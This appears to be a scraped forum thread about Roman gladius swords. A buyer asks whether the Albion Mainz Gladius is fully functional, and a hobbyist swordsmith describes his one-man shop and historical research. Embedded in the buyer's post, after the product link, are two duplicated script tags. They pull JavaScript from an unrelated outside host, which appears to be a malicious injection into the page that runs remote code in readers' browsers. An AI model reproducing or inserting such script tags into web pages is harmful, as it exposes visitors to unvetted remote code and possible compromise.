There's always a chance that any sword, regardless of quality, will break in a combat situation; but with the stats rhema1313 quoted you it should be just fine.

I think you need to be more specific andresr22. What precisely do you mean by fully functional? Endure a fighting situation? I have a windlass Pompeii gladius that is fully functional and would survive a fighting situation. It's not the most historically accurate but it was cheap.

rhema1313 you make some of the best Roman swords I have ever seen. One of these days you will get an order or purchase from me. In the mean time I will recommend you any chance I get. You ever think about making Viking era swords?

You ever think about making Viking era swords? Thank you Gruggier... I appreciate your comments and compliments. I look forward to the day I can put that Roman Sword in your hand! A one of a kind for sure! As for Viking swords... and other swords for that matter, Maybe some day. I am a one man operation. I make each part of the sword and scabbards right here in my shop. I am just now getting my melting forge set up and will be expanding to cast Brass, Bronze, Silver and Gold... We only talk about aluminum LOL. This will cause me to extend my tent stakes and widen my borders into making custom fittings. So Viking Swords... Maybe not in the near future, but you never know. I try to stay as close to historically accurate pieces (Are they have been discovered in archeological finds / digs) So, a lot of my time is spent in the gathering of research materials that are documented. These are often times hard to come by or very expensive if you have to purchase them. So my studies currently have me in ROME from 300bc. to 5th Century AD. My other major time sucker is promotions, advertising (Which is mostly word of mouth... SBG and Facebook) Making contracts, keeping my contacts fresh and up to date, and shipping. These are the things consuming most of my time. About a 1/4 of my time devoted to making swords is in the shop. Trying to figure out ways to make things flow faster, without becoming a manufacturer... and always maintaining my one on one craftsmanship. --Rhema1313 |

hello to Everyone, I am starting a new sword collection and the first one i checked was the Mainz Gladius The Augustus, i know they are a little bit expensive but i only want to acquire a high quality sword. i want to know if this sword is fully functional and if it will endure any fighting situation or anything a sword should withstand. please let me know your opinions, bad or good. If anyone know of a different Mainz Gladius plese let me know. Also if someone owns this sword let me know your reviews, and if you can provide some pictures it will be greate. thank you all Andres Rueda PS: this is the link to the sword www.albion-swords.com/swords/albion/nextgen/sword-roman-augustus-mainz-II.htm<script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script><script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script> I had an Albion gladius and not only was it fully functional, it was also gorgeous. They are fairly pricey but, in my opinion, worth every penny. One of the only drawbacks is a lack of included scabbard. |
